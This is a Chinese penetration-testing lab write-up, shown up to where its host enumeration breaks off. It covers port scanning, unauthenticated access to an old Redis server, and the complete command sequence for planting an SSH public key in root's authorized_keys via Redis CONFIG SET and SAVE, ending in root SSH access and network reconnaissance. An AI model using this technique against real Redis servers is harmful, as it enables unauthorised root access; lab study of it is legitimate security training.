红日靶场七:从外网入口、容器逃逸到 AD 接管的完整利用链复盘
、靶场相关信息
二、信息搜集
TCP 端口扫描 + 指纹识别 + 操作系统识别:
sudo rustscan -a 192.168.111.20 -r 1-65535 -- -sV -O -Pn -n -oA TCP_PORTS_NAMP
输出(仅列举部分):
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http syn-ack ttl 63 nginx 1.14.0 (Ubuntu) 81/tcp open http syn-ack ttl 63 nginx 1.14.0 (Ubuntu) 6379/tcp open redis syn-ack ttl 63 Redis key-value store 2.8.17
关机信息:
- OS:Ubuntu
- 6379 端口:年代久远,默认配置下极大概率存在未授权访问
UDP 端口扫描 + 指纹识别:
sudo nmap -sV -sU --top-ports 20 192.168.111.20 -Pn -n -oA UDP_TOP20_PORTS
从扫描结果上看,端口状态要么是 closed 要么是 open|filtered,并没有提供很大价值的信息。
思路:先处理 TCP 端口,若 TCP 端口没有突破,则回到 UDP 端口,用特定的工具进行扫描。
综合上述信息,目前最优先考虑的就是 6379 端口,其次是 80 和 81 这两个 http 服务。
三、Redis 未授权访问
Redis 在 2.8 这样的老版本里:
- 默认监听地址是 0.0.0.0(对所有网络接口开放)
- 没有设置密码(requirepass 为空)
- protected-mode 这个保护机制是 3.2 版本以后才引入的,2.8 完全没有这个功能。
- 靶场环境通常不会额外加固防火墙或配置
protected-mode 是 Redis 从 3.2 版本开始引入的一个默认安全保护机制。简单说,它的作用是:当 Redis 没有设置密码(requirepass 为空),也没有明确绑定只允许本地访问(bind 127.0.0.1)的时候,就自动把外部网络的连接全部拒绝,只允许本机(localhost)连进来。
尝试无密码登入:
redis-cli -h 192.168.111.20 -p 6379
登入成功:
简单做一下信息搜集,使用了下述命令:
- ping:用于测试是否是真的连接上了
- info:Redis 版本、OS、内存、已连接客户端数等信息
- client list:所有已连接客户端的 IP 和端口
- config get dbfilename:当前 RDB 文件名
- config get dir:当前 RDB 持久化目录
关键信息:
redis_version:2.8.17 os:Linux 5.4.0-66-generic x86_64 dbfilename dump.rdb dir /root rdb_last_save_time:1775801194 rdb_last_bgsave_status:ok
RDB 的持久化目录被设置成 /root,并且根据 rdb_last_save_time 和 rdb_last_bgsave_status 可以推断出它不仅指定了该目录,还成功写进去了。
而我们知道,/root 目录的权限是 700,即只有 root 用户才有写权限。
因此,我们可以确认,当前的 Redis 是 root 权限下运行的。
根据之前端口扫描看到的 22 端口开放,于是通过 redis 写入 ssh 公钥 $\to$ ssh 连接就是目前的首要目标。
现在 kali 上生成 ssh 密钥对:
ssh-keygen -t rsa -f ./target
读取公钥内容:
❯ cat target.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYrIRFtsijwuU43JeBFUwC04tSP3jNnl3ujMwgOO7FIOaDe0c7Wsp+qk/vpSKfhnTfyPAmHrO5q58zbDuFCzBrQrUNxUXVXJaO6k8csJ2VuPBh5YN7W61q9Cs62BacSX9QHDv+EhCkewVW2O3oGWbvWODnQh8tbwV815HyP15hlIXrisEp9DHWqhvz2scKYcVPw38g31yUJkcMU4T83yMziBSIKgDi/6+RB7JsJXZ+x72QAQtFes6JHYDl1Z3NQmPCdesww/Bx0hwXOx3d9LJAtpV9WIPMVbK05bMlwdDs321yX060WZOJwrQBgG2gqLNANjjouOIJlyrHLNRt5QfACNkFWNehWtckYLtV1/03cF02medJ/IJMt1yokLo/O2hcG0NK8vOxbUbcBrXUfHxHUWSUYwyag7L0SYctycjCi7lIXze8UhTf7C8oT7fPPzRiuoEu6KRuxXCxEJEOBa928iD/OhLu0JlVf+W2NrAnw3zJZJjh9ckHhATu+oFagg0= zyf@kali
回到 redis 中,将公钥内容写入:
SET pubkey "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYrIRFtsijwuU43JeBFUwC04tSP3jNnl3ujMwgOO7FIOaDe0c7Wsp+qk/vpSKfhnTfyPAmHrO5q58zbDuFCzBrQrUNxUXVXJaO6k8csJ2VuPBh5YN7W61q9Cs62BacSX9QHDv+EhCkewVW2O3oGWbvWODnQh8tbwV815HyP15hlIXrisEp9DHWqhvz2scKYcVPw38g31yUJkcMU4T83yMziBSIKgDi/6+RB7JsJXZ+x72QAQtFes6JHYDl1Z3NQmPCdesww/Bx0hwXOx3d9LJAtpV9WIPMVbK05bMlwdDs321yX060WZOJwrQBgG2gqLNANjjouOIJlyrHLNRt5QfACNkFWNehWtckYLtV1/03cF02medJ/IJMt1yokLo/O2hcG0NK8vOxbUbcBrXUfHxHUWSUYwyag7L0SYctycjCi7lIXze8UhTf7C8oT7fPPzRiuoEu6KRuxXCxEJEOBa928iD/OhLu0JlVf+W2NrAnw3zJZJjh9ckHhATu+oFagg0= zyf@kali\n\n"
设置目录:
CONFIG SET dir /root/.ssh/
设置保存文件名:
CONFIG SET dbfilename authorized_keys SAVE
注意:Redis 通过 CONFIG SET dir + dbfilename 再执行 SAVE 的方式,是覆盖式写入,它会生成一个全新的 RDB 二进制快照文件,直接把目标文件(这里是 /root/.ssh/authorized_keys)从头替换掉,而不是在原有内容后面追加。而上面在公钥前面加 \n 换行符的目的在于,RDB 文件的格式是二进制的,即文件最开头固定会有“REDIS”魔术字符串加上版本号、元数据等一堆二进制垃圾数据,然后才是你 SET 进去的 pubkey 内容。如果不加换行,公钥字符串就会直接粘在这些二进制垃圾后面,形成类似“[二进制乱码]ssh-rsa AAA...”这样的一长行,sshd 在解析 authorized_keys 时就会把它当成无效行而直接忽略,导致公钥无法生效。
尝试 ssh 登入:
ssh root@192.168.111.20 -i ./target
登入成功。
四、Ubuntu 信息搜集
先用原生命令做一下信息搜集:
root@ubuntu:~# ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 00:50:56:b1:41:a3 brd ff:ff:ff:ff:ff:ff inet 192.168.111.20/24 brd 192.168.111.255 scope global ens33 valid_lft forever preferred_lft forever inet6 fe80::250:56ff:feb1:41a3/64 scope link valid_lft forever preferred_lft forever 3: ens38: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 00:50:56:b1:f7:eb brd ff:ff:ff:ff:ff:ff inet 192.168.52.10/24 brd 192.168.52.255 scope global ens38 valid_lft forever preferred_lft forever inet6 fe80::250:56ff:feb1:f7eb/64 scope link valid_lft forever preferred_lft forever
双网卡:
- 外网:192.168.111.20
- 内网:192.168.52.10
- 内网网段:192.168.52.0/24
root@ubuntu:~# cat /proc/version Linux version 5.4.0-66-generic (buildd@lgw01-amd64-016) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #74~18.04.2-Ubuntu SMP Fri Feb 5 11:17:31 UTC 2021 root@ubuntu:~# cat /etc/os-release NAME="Ubuntu" VERSION="18.04.5 LTS (Bionic Beaver)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 18.04.5 LTS" VERSION_ID="18.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" VERSION_CODENAME=bionic UBUNTU_CODENAME=bionic
root@ubuntu:~# hostname && cat /etc/issue && uname -a && cat /etc/hostsubuntu Ubuntu 18.04.5 LTS \n \l Linux ubuntu 5.4.0-66-generic #74~18.04.2-Ubuntu SMP Fri Feb 5 11:17:31 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 127.0.0.1 localhost 127.0.1.1 ubuntu 47.101.57.72 whoamianony.top 127.0.0.1 www.whopen.com # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters
路由信息:
root@ubuntu:~# ip route show 192.168.52.0/24 dev ens38 proto kernel scope link src 192.168.52.10 192.168.111.0/24 dev ens33 proto kernel scope link src 192.168.111.20
说明直连内网环境。
查看 ARP 缓存:
root@ubuntu:~# ip neigh 192.168.52.20 dev ens38 lladdr 00:50:56:b1:7e:66 STALE 192.168.111.25 dev ens33 lladdr 00:50:56:b1:87:ea REACHABLE
直接发现了新的一台内网主机(192.168.52.20):
查看所有进程:
root@ubuntu:~# ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.2 159932 9172 ? Ss Apr09 0:02 /sbin/init auto noprompt root 2 0.0 0.0 0 0 ? S Apr09 0:00 [kthreadd] root 3 0.0 0.0 0 0 ? I< Apr09 0:00 [rcu_gp] root 4 0.0 0.0 0 0 ? I< Apr09 0:00 [rcu_par_gp] root 6 0.0 0.0 0 0 ? I< Apr09 0:00 [kworker/0:0H-kb] root 9 0.0 0.0 0 0 ? I< Apr09 0:00 [mm_percpu_wq] root 10 0.0 0.0 0 0 ? S Apr09 0:00 [ksoftirqd/0] root 11 0.0 0.0 0 0 ? I Apr09 0:01 [rcu_sched] root 12 0.0 0.0 0 0 ? S Apr09 0:00 [migration/0] root 13 0.0 0.0 0 0 ? S Apr09 0:00 [idle_inject/0] root 14 0.0 0.0 0 0 ? S Apr09 0:00 [cpuhp/0] root 15 0.0 0.0 0 0 ? S Apr09 0:00 [cpuhp/1] root 16 0.0 0.0 0 0 ? S Apr09 0:00 [idle_inject/1] root 17 0.0 0.0 0 0 ? S Apr09 0:00 [migration/1] root 18 0.0 0.0 0 0 ? S Apr09 0:00 [ksoftirqd/1] root 20 0.0 0.0 0 0 ? I< Apr09 0:00 [kworker/1:0H-kb] root 21 0.0 0.0 0 0 ? S Apr09 0:00 [kdevtmpfs] root 22 0.0 0.0 0 0 ? I< Apr09 0:00 [netns] root 23 0.0 0.0 0 0 ? S Apr09 0:00 [rcu_tasks_kthre] root 24 0.0 0.0 0 0 ? S Apr09 0:00 [kauditd] root 26 0.0 0.0 0 0 ? S Apr09 0:00 [khungtaskd] root 27 0.0 0.0 0 0 ? S Apr09 0:00 [oom_reaper] root 28 0.0 0.0 0 0 ? I< Apr09 0:00 [writeback] root 29 0.0 0.0 0 0 ? S Apr09 0:00 [kcompactd0] root 30 0.0 0.0 0 0 ? SN Apr09 0:00 [ksmd] root 31 0.0 0.0 0 0 ? SN Apr09 0:00 [khugepaged] root 36 0.0 0.0 0 0 ? I Apr09 0:02 [kworker/1:1-eve] root 78 0.0 0.0 0 0 ? I< Apr09 0:00 [kintegrityd] root 79 0.0 0.0 0 0 ? I< Apr09 0:00 [kblockd] root 80 0.0 0.0 0 0 ? I< Apr09 0:00 [blkcg_punt_bio] root 82 0.0 0.0 0 0 ? I< Apr09 0:00 [tpm_dev_wq] root 83 0.0 0.0 0 0 ? I< Apr09 0:00 [ata_sff] root 84 0.0 0.0 0 0 ? I< Apr09 0:00 [md] root 85 0.0 0.0 0 0 ? I< Apr09 0:00 [edac-poller] root 86 0.0 0.0 0 0 ? I< Apr09 0:00 [devfreq_wq] root 87 0.0 0.0 0 0 ? S Apr09 0:00 [watchdogd] root 90 0.0 0.0 0 0 ? S Apr09 0:00 [kswapd0] root 91 0.0 0.0 0 0 ? S Apr09 0:00 [ecryptfs-kthrea] root 93 0.0 0.0 0 0 ? I< Apr09 0:00 [kthrotld] root 94 0.0 0.0 0 0 ? S Apr09 0:00 [irq/24-pciehp] root 95 0.0 0.0 0 0 ? S Apr09 0:00 [irq/25-pciehp] root 96 0.0 0.0 0 0 ? S Apr09 0:00 [irq/26-pciehp] root 97 0.0 0.0 0 0 ? S Apr09 0:00 [irq/27-pciehp] root 98 0.0 0.0 0 0 ? S Apr09 0:00 [irq/28-pciehp] root 99 0.0 0.0 0 0 ? S Apr09 0:00 [irq/29-pciehp] root 100 0.0 0.0 0 0 ? S Apr09 0:00 [irq/30-pciehp] root 101 0.0 0.0 0 0 ? S Apr09 0:00 [irq/31-pciehp] root 102 0.0 0.0 0 0 ? S Apr09 0:00 [irq/32-pciehp] root 103 0.0 0.0 0 0 ? S Apr09 0:00 [irq/33-pciehp] root 104 0.0 0.0 0 0 ? S Apr09 0:00 [irq/34-pciehp] root 105 0.0 0.0 0 0 ? S Apr09 0:00 [irq/35-pciehp] root 106 0.0 0.0 0 0 ? S Apr09 0:00 [irq/36-pciehp] root 107 0.0 0.0 0 0 ? S Apr09 0:00 [irq/37-pciehp] root 108 0.0 0.0 0 0 ? S Apr09 0:00 [irq/38-pciehp] root 109 0.0 0.0 0 0 ? S Apr09 0:00 [irq/39-pciehp] root 110 0.0 0.0 0 0 ? S Apr09 0:00 [irq/40-pciehp] root 111 0.0 0.0 0 0 ? S Apr09 0:00 [irq/41-pciehp] root 112 0.0 0.0 0 0 ? S Apr09 0:00 [irq/42-pciehp] root 113 0.0 0.0 0 0 ? S Apr09 0:00 [irq/43-pciehp] root 114 0.0 0.0 0 0 ? S Apr09 0:00 [irq/44-pciehp] root 115 0.0 0.0 0 0 ? S Apr09 0:00 [irq/45-pciehp] root 116 0.0 0.0 0 0 ? S Apr09 0:00 [irq/46-pciehp] root 117 0.0 0.0 0 0 ? S Apr09 0:00 [irq/47-pciehp] root 118 0.0 0.0 0 0 ? S Apr09 0:00 [irq/48-pciehp] root 119 0.0 0.0 0 0 ? S Apr09 0:00 [irq/49-pciehp] root 120 0.0 0.0 0 0 ? S Apr09 0:00 [irq/50-pciehp] root 121 0.0 0.0 0 0 ? S Apr09 0:00 [irq/51-pciehp] root 122 0.0 0.0 0 0 ? S Apr09 0:00 [irq/52-pciehp] root 123 0.0 0.0 0 0 ? S Apr09 0:00 [irq/53-pciehp] root 124 0.0 0.0 0 0 ? S Apr09 0:00 [irq/54-pciehp] root 125 0.0 0.0 0 0 ? S Apr09 0:00 [irq/55-pciehp] root 126 0.0 0.0 0 0 ? I< Apr09 0:00 [acpi_thermal_pm] root 127 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_0] root 128 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_0] root 129 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_1] root 130 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_1] root 132 0.0 0.0 0 0 ? I< Apr09 0:00 [vfio-irqfd-clea] root 133 0.0 0.0 0 0 ? I< Apr09 0:00 [ipv6_addrconf] root 143 0.0 0.0 0 0 ? I< Apr09 0:00 [kstrp] root 146 0.0 0.0 0 0 ? I< Apr09 0:00 [kworker/u257:0] root 159 0.0 0.0 0 0 ? I< Apr09 0:00 [charger_manager] root 220 0.0 0.0 0 0 ? I< Apr09 0:00 [mpt_poll_0] root 221 0.0 0.0 0 0 ? I< Apr09 0:00 [mpt/0] root 222 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_2] root 223 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_2] root 224 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_3] root 225 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_3] root 226 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_4] root 227 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_4] root 228 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_5] root 229 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_5] root 230 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_6] root 231 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_6] root 232 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_7] root 233 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_7] root 234 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_8] root 235 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_8] root 236 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_9] root 237 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_9] root 238 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_10] root 239 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_10] root 240 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_11] root 241 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_11] root 242 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_12] root 243 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_12] root 244 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_13] root 245 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_13] root 246 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_14] root 247 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_14] root 248 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_15] root 249 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_15] root 250 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_16] root 251 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_16] root 252 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_17] root 253 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_17] root 254 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_18] root 255 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_18] root 256 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_19] root 257 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_19] root 258 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_20] root 259 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_20] root 260 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_21] root 261 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_21] root 262 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_22] root 263 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_22] root 264 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_23] root 265 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_23] root 266 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_24] root 267 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_24] root 268 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_25] root 269 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_25] root 270 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_26] root 271 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_26] root 272 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_27] root 273 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_27] root 274 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_28] root 275 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_28] root 276 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_29] root 277 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_29] root 278 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_30] root 279 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_30] root 280 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_31] root 282 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_31] root 310 0.0 0.0 0 0 ? S Apr09 0:00 [scsi_eh_32] root 311 0.0 0.0 0 0 ? I< Apr09 0:00 [scsi_tmf_32] root 312 0.0 0.0 0 0 ? I< Apr09 0:00 [kworker/0:1H-kb] root 314 0.0 0.0 0 0 ? I< Apr09 0:00 [kworker/1:1H-kb] root 334 0.0 0.0 0 0 ? S Apr09 0:00 [jbd2/sda1-8] root 335 0.0 0.0 0 0 ? I< Apr09 0:00 [ext4-rsv-conver] root 367 0.0 0.2 78604 11316 ? S<s Apr09 0:00 /lib/systemd/systemd-journald root 393 0.0 0.0 0 0 ? I Apr09 0:01 [kworker/0:3-cgr] root 394 0.0 0.0 0 0 ? S< Apr09 0:00 [loop0] root 398 0.0 0.0 0 0 ? S< Apr09 0:00 [loop1] root 399 0.0 0.0 0 0 ? S Apr09 0:00 [irq/16-vmwgfx] root 400 0.0 0.0 0 0 ? I< Apr09 0:00 [ttm_swap] root 403 0.0 0.0 0 0 ? S< Apr09 0:00 [loop2] root 409 0.0 0.0 0 0 ? S< Apr09 0:00 [loop3] root 410 0.0 0.0 0 0 ? S< Apr09 0:00 [loop4] root 412 0.0 0.0 0 0 ? S< Apr09 0:00 [loop5] root 413 0.0 0.0 0 0 ? S< Apr09 0:00 [loop6] root 417 0.0 0.0 0 0 ? S< Apr09 0:00 [loop7] root 423 0.0 0.2 49944 8004 ? Ss Apr09 0:00 /lib/systemd/systemd-udevd root 432 0.0 0.0 0 0 ? S< Apr09 0:00 [loop8] root 442 0.0 0.0 0 0 ? S< Apr09 0:00 [loop9] root 469 0.0 0.0 0 0 ? S< Apr09 0:00 [loop10] root 472 0.0 0.0 158792 300 ? Ssl Apr09 0:00 vmware-vmblock-fuse /run/vmblock-fuse -o rw,subtype=vmware-vmblock,default_per root 483 0.0 0.0 0 0 ? S< Apr09 0:00 [loop11] root 487 0.0 0.0 0 0 ? S< Apr09 0:00 [loop12] root 488 0.0 0.0 0 0 ? S< Apr09 0:00 [loop13] systemd+ 501 0.0 0.1 72020 5408 ? Ss Apr09 0:00 /lib/systemd/systemd-networkd root 502 0.0 0.0 0 0 ? S< Apr09 0:00 [loop14] root 504 0.0 0.0 0 0 ? S< Apr09 0:00 [loop15] root 514 0.0 0.0 0 0 ? S< Apr09 0:00 [loop16] root 515 0.0 0.0 0 0 ? S< Apr09 0:00 [loop17] systemd+ 521 0.0 0.1 70664 5304 ? Ss Apr09 0:00 /lib/systemd/systemd-resolved systemd+ 522 0.0 0.0 146136 3436 ? Ssl Apr09 0:00 /lib/systemd/systemd-timesyncd root 563 0.0 0.2 98268 10736 ? Ss Apr09 0:00 /usr/bin/VGAuthService root 567 0.0 0.1 235424 7196 ? S<sl Apr09 0:02 /usr/bin/vmtoolsd root 603 0.0 0.2 308544 8812 ? Ssl Apr09 0:00 /usr/lib/accountsservice/accounts-daemon root 614 0.0 0.9 1849372 38504 ? Ssl Apr09 0:02 /usr/lib/snapd/snapd root 616 0.0 0.2 434320 9216 ? Ssl Apr09 0:00 /usr/sbin/ModemManager --filter-policy=strict root 618 0.0 0.1 70732 6136 ? Ss Apr09 0:00 /lib/systemd/systemd-logind root 621 0.0 0.0 38432 3224 ? Ss Apr09 0:00 /usr/sbin/cron -f message+ 623 0.0 0.1 51340 5564 ? Ss Apr09 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --system root 646 0.0 0.1 46496 5052 ? Sl Apr09 0:03 redis-server *:6379 root 680 0.0 0.0 0 0 ? I< Apr09 0:00 [cryptd] syslog 771 0.0 0.1 263040 4932 ? Ssl Apr09 0:00 /usr/sbin/rsyslogd -n avahi 773 0.0 0.0 47288 3708 ? Ss Apr09 0:00 avahi-daemon: running [ubuntu.local] root 775 0.0 0.3 517616 12432 ? Ssl Apr09 0:00 /usr/lib/udisks2/udisksd root 779 0.0 0.0 4556 788 ? Ss Apr09 0:00 /usr/sbin/acpid root 782 0.0 0.4 428608 17968 ? Ssl Apr09 0:00 /usr/sbin/NetworkManager --no-daemon root 783 0.0 0.0 110552 2116 ? Ssl Apr09 0:00 /usr/sbin/irqbalance --foreground root 790 0.0 0.1 45236 5316 ? Ss Apr09 0:00 /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant root 794 0.0 0.4 177644 17132 ? Ssl Apr09 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers root 859 0.0 0.2 311328 10960 ? Ssl Apr09 0:00 /usr/lib/policykit-1/polkitd --no-debug avahi 884 0.0 0.0 47080 340 ? S Apr09 0:00 avahi-daemon: chroot helper root 949 0.0 0.4 194356 19904 ? Ssl Apr09 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown -- root 970 0.0 0.1 308060 7444 ? Ssl Apr09 0:00 /usr/sbin/gdm3 root 973 0.0 0.1 72304 5688 ? Ss Apr09 0:00 /usr/sbin/sshd -D whoopsie 975 0.0 0.3 394992 12960 ? Ssl Apr09 0:00 /usr/bin/whoopsie -f kernoops 987 0.0 0.0 56944 424 ? Ss Apr09 0:00 /usr/sbin/kerneloops --test kernoops 989 0.0 0.0 56944 2544 ? Ss Apr09 0:00 /usr/sbin/kerneloops root 990 0.0 0.2 261556 8052 ? Sl Apr09 0:00 gdm-session-worker [pam/gdm-launch-environment] root 1022 0.0 0.0 141128 1580 ? Ss Apr09 0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; www-data 1023 0.0 0.1 143772 6460 ? S Apr09 0:00 nginx: worker process www-data 1024 0.0 0.1 143772 6460 ? S Apr09 0:00 nginx: worker process gdm 1027 0.0 0.2 76944 8052 ? Ss Apr09 0:00 /lib/systemd/systemd --user gdm 1028 0.0 0.0 114076 2628 ? S Apr09 0:00 (sd-pam) gdm 1095 0.0 0.1 197800 5444 tty1 Ssl+ Apr09 0:00 /usr/lib/gdm3/gdm-wayland-session gnome-session --autostart /usr/share/gdm/gre gdm 1097 0.0 0.1 50248 4612 ? Ss Apr09 0:00 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --syste gdm 1099 0.0 0.3 567040 15432 tty1 Sl+ Apr09 0:00 /usr/lib/gnome-session/gnome-session-binary --autostart /usr/share/gdm/greeter gdm 1133 0.0 3.5 3352992 140300 tty1 Sl+ Apr09 0:03 /usr/bin/gnome-shell root 1140 0.0 0.2 322316 8560 ? Ssl Apr09 0:00 /usr/lib/upower/upowerd gdm 1152 0.0 1.3 589012 55568 tty1 Sl+ Apr09 0:00 /usr/bin/Xwayland :1024 -rootless -terminate -accessx -core -listen 4 -listen gdm 1159 0.0 0.2 365592 8300 ? Ssl Apr09 0:00 /usr/lib/at-spi2-core/at-spi-bus-launcher gdm 1164 0.0 0.0 49932 3732 ? S Apr09 0:00 /usr/bin/dbus-daemon --config-file=/usr/share/defaults/at-spi2/accessibility.c gdm 1166 0.0 0.1 220768 7116 ? Sl Apr09 0:00 /usr/lib/at-spi2-core/at-spi2-registryd --use-gnome-session gdm 1170 0.0 0.3 1243832 12628 ? Ssl Apr09 0:00 /usr/bin/pulseaudio --daemonize=no rtkit 1171 0.0 0.0 183512 2996 ? SNsl Apr09 0:00 /usr/lib/rtkit/rtkit-daemon gdm 1183 0.0 0.2 375260 9612 tty1 Sl Apr09 0:00 ibus-daemon --xim --panel disable gdm 1186 0.0 0.1 294488 7940 tty1 Sl Apr09 0:00 /usr/lib/ibus/ibus-dconf gdm 1189 0.0 1.2 515080 48472 tty1 Sl Apr09 0:00 /usr/lib/ibus/ibus-x11 --kill-daemon gdm 1193 0.0 0.2 292432 8056 ? Sl Apr09 0:00 /usr/lib/ibus/ibus-portal gdm 1199 0.0 0.1 271564 5208 ? Ssl Apr09 0:00 /usr/libexec/xdg-permission-store root 1204 0.0 0.2 315240 8952 ? Ssl Apr09 0:00 /usr/lib/x86_64-linux-gnu/boltd gdm 1209 0.0 1.2 663504 49604 tty1 Sl+ Apr09 0:00 /usr/lib/gnome-settings-daemon/gsd-xsettings root 1210 0.0 0.3 382424 14112 ? Ssl Apr09 0:00 /usr/lib/packagekit/packagekitd gdm 1216 0.0 0.2 294476 8064 tty1 Sl+ Apr09 0:00 /usr/lib/gnome-settings-daemon/gsd-a11y-settings gdm 1217 0.0 1.1 514708 47928 tty1 Sl+ Apr09 0:00 /usr/lib/gnome-settings-daemon/gsd-clipboard gdm 1220 0.0 1.2 827792 49900 tty1 Sl+ Apr09 0:00 /usr/lib/gnome-settings-daemon/gsd-color gdm 1221 0.0 0.3 393720 13816 tty1 Sl+ Apr09 0:00 /usr/lib/gnome-settings-daemon/gsd-datetime gdm 1222 0.0 0.1 283744 5332 tty1 Sl+ Apr09 0:00 /usr/lib/gnome-settings-daemon/gsd-housekeeping gdm 1223 0.0 1.2 675508 49180 tty1 Sl+ Apr09 0:00 /usr/lib/gnome-settings-daemon/gsd-keyboard gdm 1227 0.0 1.2 1185244 50872 tty1 Sl+ Apr09 0:00 /usr/lib/gnome-settings-daemon/gsd-media-keys gdm 1228 0.0 0.1 202000 4536 tty1 Sl+ Apr09 0:00 /usr/lib/gnome-settings-daemon/gsd-mouse gdm 1231 0.0 1.2 686292 49892 tty1 Sl+ Apr09 0:00 /usr/lib/gnome-settings-daemon/gsd-power gdm 1237 0.0 0.2 267016 8712 tty1 Sl+ Apr09 0:00 /usr/lib/gnome-settings-daemon/gsd-print-notifications gdm 1238 0.0 0.1 202020 4520 tty1 Sl+ Apr09 0:00 /usr/lib/gnome-settings-daemon/gsd-rfkill gdm 1241 0.0 0.1 275736 4704 tty1 Sl+ Apr09 0:00 /usr/lib/gnome-settings-daemon/gsd-screensaver-proxy gdm 1244 0.0 0.2 321436 10212 tty1 Sl+ Apr09 0:00 /usr/lib/gnome-settings-daemon/gsd-sharing gdm 1248 0.0 0.2 390692 9692 tty1 Sl+ Apr09 0:00 /usr/lib/gnome-settings-daemon/gsd-smartcard gdm 1249 0.0 0.2 343052 9784 tty1 Sl+ Apr09 0:00 